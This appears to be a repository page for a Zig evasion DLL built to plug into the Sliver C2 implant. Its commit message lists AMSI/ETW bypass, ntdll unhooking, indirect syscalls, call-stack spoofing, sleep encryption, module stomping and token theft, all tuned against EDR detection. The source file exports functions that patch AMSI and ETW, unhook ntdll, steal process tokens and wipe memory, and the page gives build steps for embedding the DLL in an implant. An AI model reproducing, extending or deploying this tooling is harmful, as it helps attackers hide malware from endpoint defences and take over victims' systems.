SISTA
fe2726a430
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
69 lines
2.0 KiB
Zig
69 lines
2.0 KiB
Zig
// Valak evasion DLL — drop-in sleep obfuscation + AMSI/ETW bypass for any C2.
|
|
// Built for Sliver but protocol-agnostic. Exports are resolved at runtime by the
|
|
// Go bridge (go-bridge/valak.go) via reflective PE loading or direct DLL load.
|
|
// Reference: DbgMan "EDR Tradecraft" (May 2026), Windows x64 ABI.
|
|
|
|
const std = @import("std");
|
|
const win = @import("win32.zig");
|
|
const api = @import("api.zig");
|
|
const syscall = @import("syscall.zig");
|
|
const amsi = @import("amsi.zig");
|
|
const etw = @import("etw.zig");
|
|
const stomp = @import("stomp.zig");
|
|
const sleep = @import("sleep.zig");
|
|
const unhook = @import("unhook.zig");
|
|
const token = @import("token.zig");
|
|
|
|
var g_initialized: bool = false;
|
|
|
|
fn ensure() void {
|
|
if (g_initialized) return;
|
|
g_initialized = true;
|
|
api.ensure();
|
|
_ = syscall.init_syscall();
|
|
}
|
|
|
|
export fn init_evasion() void { ensure(); }
|
|
|
|
export fn unhook_ntdll() void { ensure(); unhook.unhookNtdll(); }
|
|
export fn patch_etw() void { ensure(); etw.patch_etw(); }
|
|
export fn patch_amsi() void { ensure(); amsi.patch_amsi(); }
|
|
|
|
export fn stomp_evasion(base: ?*anyopaque) void {
|
|
ensure();
|
|
_ = stomp.stomp_module(base);
|
|
}
|
|
|
|
export fn is_relocated() bool {
|
|
return stomp.g_evasion_relocated;
|
|
}
|
|
|
|
// Tell the DLL where the host process's .text is so it can be encrypted during sleep.
|
|
export fn init_text_region(base: [*]u8, size: usize) void {
|
|
sleep.init_go_text_region(base, size);
|
|
}
|
|
|
|
// Called from the asm trampoline (arch/hells_gate.s) which captures entry RSP,
|
|
// zeros the return address for EDR stack walk termination, and restores on return.
|
|
export fn evasion_sleep_inner(ms: u32) void {
|
|
ensure();
|
|
sleep.evasion_sleep(ms);
|
|
}
|
|
|
|
export fn unpatch_amsi() void { ensure(); amsi.unpatch_amsi(); }
|
|
export fn unpatch_etw() void { ensure(); etw.unpatch_etw(); }
|
|
|
|
export fn wipe_memory(base: [*]u8, size: usize) void {
|
|
@memset(base[0..size], 0);
|
|
}
|
|
|
|
export fn steal_token(pid: u32) bool {
|
|
ensure();
|
|
return token.stealToken(pid);
|
|
}
|
|
|
|
export fn rev2self() bool {
|
|
ensure();
|
|
return token.rev2self();
|
|
}
|